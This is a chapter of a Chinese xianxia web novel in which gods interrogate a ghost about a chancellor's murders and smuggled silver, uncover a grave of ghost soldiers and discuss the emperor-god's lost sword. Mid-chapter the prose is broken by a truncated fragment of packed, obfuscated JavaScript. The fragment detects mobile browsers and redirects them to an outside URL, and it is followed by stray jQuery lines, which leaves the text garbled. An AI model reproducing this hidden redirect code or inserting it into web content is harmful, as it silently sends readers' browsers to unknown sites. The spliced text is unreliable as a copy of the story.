43.帝君的神剑

作品:《我在天界当社畜

    这所谓的国师,三天前还身披云锦僧袍,以风火雷电伏击她,言语间满是不知所云的讥讽。眼下倒是摇身一变,挽起了发髻,披上道袍,道貌岸然地成了国师。


    妖僧,不要以为长了头发就不认识你!


    凤生捏紧了拳头,目光尾随着妖僧,不,此刻应是国师,被兵将道士簇拥着渐行渐远。


    蓦地,凤生心头掠过一丝异样,她细细回想方才国师从身边经过的情形:面纱被夜风掀起一角,墨色长发半披半束,发髻高高挽起……


    啊!是了!凤生瞳孔一缩,脑海中闪过一个细节——国师的发髻上,赫然插了一支金簪,一支用整块纯金錾刻成仙株模样,叶片薄如蝉翼,花瓣层叠卷曲,金簪上还缀着长长的流苏。


    琼羽殿下的发簪怎会出现在国师头上?凤生心中一凛,一些零散的片段涌上心头——


    琼羽前脚得知自己是灶神,妖僧后脚便来拦截;


    妖僧看到自己能召唤九婴,眼中闪过一丝惊诧,而九婴在他面前竟也异常乖顺,仿佛对他心存畏惧;


    琼羽赐给侍花婢女的奖励是还阳丹,妖僧为了在此开坛作法,让孤魂野鬼用阳气交换的,也是还阳丹;


    妖僧对天界、九幽、人间乃至魔域的秘闻了如指掌,她曾戏言,三界之中有这等地位见识的,非帝君莫属,但若换成九幽冥王琼羽,似乎也说得通。


    凤生感觉那个呼之欲出的谜底就在眼前,却又有些抓不住……


    ——


    正想着,山神庙的石阶前,一个身穿轻甲的大汉吵吵嚷嚷而来:


    “放开我!鬼差了不起啊?你们凭什么抓我!老子死得冤枉,还没去阎王面前告你们呢!”


    凤生一看,来人正是在客栈见过的斥候头目,按阿忠所说,应该就是李校尉了。他居然死了?


    再看李校尉所说的“鬼差”,正是多日不见的两位门神,风无岱和晏云开。


    岑鸾、赵元再、薛妄齐齐现身。


    风无岱洒然笑道:“今天是什么大日子,这小小山神庙,岂能装得下这几尊金光闪闪的大神。


    薛妄上前与风无岱击掌道:“什么风把二位吹来了?”


    晏云开道:“我二人一路追踪妖僧到京城,他居然与丞相谢运勾结在一起,还得到了皇帝的赏识,这几日便是奉旨来漠朔城开坛作法。结果跟到此处,发现这个幽魂在生采活人阳气。”


    “你去打听打听,这里的孤魂野鬼,有几个不采阳气的?谁不想换颗还阳丹,回阳间看看!”李校尉犹自哇啦哇啦辩白。


    晏云开说罢,用金锏敲了下李校尉的膝弯,李校尉“扑通”一声跪到地上。


    凤生道:“你就是李校尉吧?你是如何在此地射杀明将军的传令兵阿忠的,快快如实招来!”


    李校尉一愣,见凤生身旁人多势众,有些惶恐地辩白道:“我是奉谢大人之命去灭口的,要杀要剐,你们去找谢大人!”


    薛妄一扬手中的玉坠子:“你杀了人,把玉卖去了何处?”


    李校尉大叫道:“这可不关我的事啊,是我手下斥候去搜的身,他只把书信交给我拿去向谢大人复命。我今日方知,他竟瞒着我,匿下了这块玉。”


    薛妄道:“你手下斥候何在?”


    李校尉道:“他当晚便被孤魂野鬼采了阳气,一命呜呼了。”


    诸位神尊心下了然,谢运命李校尉截杀阿忠,李校尉手下斥候搜身时,见玉佩值钱,便偷偷藏匿,结果当晚遇害,明将军的玉佩这才流落到了归幽驿。


    赵元再道:“你可知谢丞相有批银两,要运往何处?”


    李校尉:“我疑心正是因我知晓了此事,才被灭口的。”


    薛妄道:“把你知道的如实讲来,可送你返还阳间半日。”


    李校尉感激涕零道:“我贪杯被毒死,前日托人代写的平安信尚未捎给家中妻儿。大人若能让我再见妻儿一面,下辈子就算做牛做马,也要报大人恩德!!”


    李校尉吸了吸鼻子道:“我曾是丞相府的暗卫,为谢大人干了不少脏活。这银两,原本是谢大人指使盐运史贪墨的预提盐引,谁知,这位盐运使得了急病暴毙,下一任盐运使阮大人一纸奏折递上去,告发了前任贪墨银两的事。我便奉谢大人之命,亲手了结了阮大人的性命,并将他伪装成自尽……”


    “这批银两,是准备运往北戎的,谢大人与北戎首领呼延铎暗中有勾结。该说的我都说了,请大人开恩!”李校尉哀叫道。


    薛妄挥出一纸符箓道:“今夜子时至明日午时,你可返家再见妻儿一面,时辰一到,自有冥使拘拿你去地府领罚。”


    说罢,符纸化作金光,没入李校尉心口,李校尉的幽魂感恩戴德伏地磕头,起身自去与阳间与妻小告别。


    ——


    凤生道:“此处明明有万余阴兵,假国师真妖僧却只点了百余名去给明将军助阵,摆明了就是借阴兵过境之机,行偷运银两之实。”


    风无岱道:“阴兵在何处?带我去看看。”


    凤生引着风无岱前行,诸位神尊刚进大殿,便听得电闪雷鸣,金光闪过,山神庙破败不堪的神像竟神采宛然,明艳如新。


    薛妄见状,豁然一笑道:“来得早不如来得巧,正赶上新山神归位。”


    话音未落,凤生脖颈处的赤珠琓琰忽地红光一闪,一道威严浑厚的声音自琓琰中传出:


    “帝君,上次的话,我还没说完,你不愿娶熙龄无妨,我同王母说一声便是。不过熙龄因下界时误伤了凡人性命,被罚到焉支山守山去了。你得空去照顾一二。”


    诸神闻言,皆装作未曾听见,凤生更是面露尴尬,目光游移,故作镇定地仰头望着山神庙的脊檩。


    岑鸾神色自若,淡声道:“知道了,天帝,回去再叙。”说罢,袍袖轻挥,一道星芒闪过,琓琰已被下了禁制,天帝的声音,恐怕再也不会从琓琰传出了。


    少卿,熙龄自神像中幻化了真身,风华绝代、艳光灼灼地出现在众人面前。


    她盈盈下拜:“熙龄刚刚归位,不知帝君与诸位星君驾临,有失远迎了。”


    岑鸾微微点了下头,不再言语。熙龄期待地看着岑鸾,见他看也不看自己,有些难堪地低下了头。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060321|153638||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >赵元再摇着折扇,春风化雨地解围道:“神女可知,此处地底有个万人冢?”


    薛妄手中曲杖一点,金雾弥散,石砖荡开一层气浪,现出铜鼎下的万人冢。


    冢内怨气四溢,累累尸身白骨堆积如山,层层叠叠,已化作阴兵的尸骨早已腐朽,却依旧保持着生前的姿态,有的蜷缩成一团,有的张牙舞爪,仿佛在无声控诉着痛苦与不甘。


    晏云开催动罗浮钵,对诸神道:“此处阴兵怨气深重,与昔日刑天借来攻打桃止山的阴兵如出一辙。”


    凤生道:“难道当时,刑天攻打桃止山,是受人主使?”


    风无岱:“那人相必知道不灰木在我身上,于是一计不成,再生一计,这才有了妖僧炮制的水灵案。目的就是用和尚的化身引我入殻,拿到不灰木。”


    凤生道:“此人心思深沉,不达目的不罢休,他将数以万计的阴兵囤积于此,恐怕还有更大图谋。


    熙龄忽道:“我来守山之前,倒是翻过一册山神水神必看的《山川秘录》,其中倒是有破解阴兵的法门。”


    她顿了顿,续道:“需以神血为引,用神冥大战的战神利剑,布下净灵大阵,方能化解阴兵怨气,使其重归天地。”


    赵元再道:“万余年来,能称得上神冥大战战神的,只有帝君了。”


    凤生道:“帝君的兵器是神弓‘不虞’啊,剑,倒是从未见他用过。”


    风无岱见凤生已知岑鸾身份,但笑不语。


    岑鸾淡然道:“剑倒是用过一把,只是记不清丢在何处了。”


    凤生忽地想起妖僧所说“五百年前,清虚帝君受伤之后,很多事情便想不起来了。”他连自己佩剑的下落都不知晓,看来那妖僧所言非虚。


    赵元再道:“帝君的‘履霜’剑,声名甚至远超神弓‘不虞’,只是九里之战后,便再也没见到那把剑的踪影。”


    薛妄沉声道:“帝君那把剑,是我送的,原名叫作‘怀霜’。”


    凤生道:“薛大哥既知这把剑的来历,不妨仔细说说,或许能从中找到一些线索,寻得神剑下落。”


    薛妄道:“那把剑是我封神前所铸,我因……此剑当中的一些曲折,不想再用,便把他送给了帝君。”


    凤生眉头微蹙,沉吟道:“封神之前……竟又牵扯到前世因果。倘若焉支山阴兵过境也是那妖僧的布局,那他极有可能是想利用薛大哥成神之时的生死劫,来图谋你的灵宝。”


    风无岱道:“土神的灵宝是石髓,石髓乃混沌初开时孕育的灵石之心,蕴含无穷的造化之力,既可滋养万物,也可蓄养灵魄,召唤器灵。薛兄不妨用石髓召唤一下’履霜’的剑灵。”


    赵元再道:“帝君负伤归来,我便请薛兄用石髓找寻过那把剑,可惜未果。”


    薛妄沉默良久,沉沉开口道:“元再,借你的照世觚一用。我也很想知道,那把剑,究竟有没有剑灵。”


    赵元再伸手一拂,一只光华闪烁的青铜觚飘浮在半空中。


    薛妄道:“这把剑,本是一位铸剑师为我所铸,那时,我是一个初出茅庐的刺客,名叫唐怀。”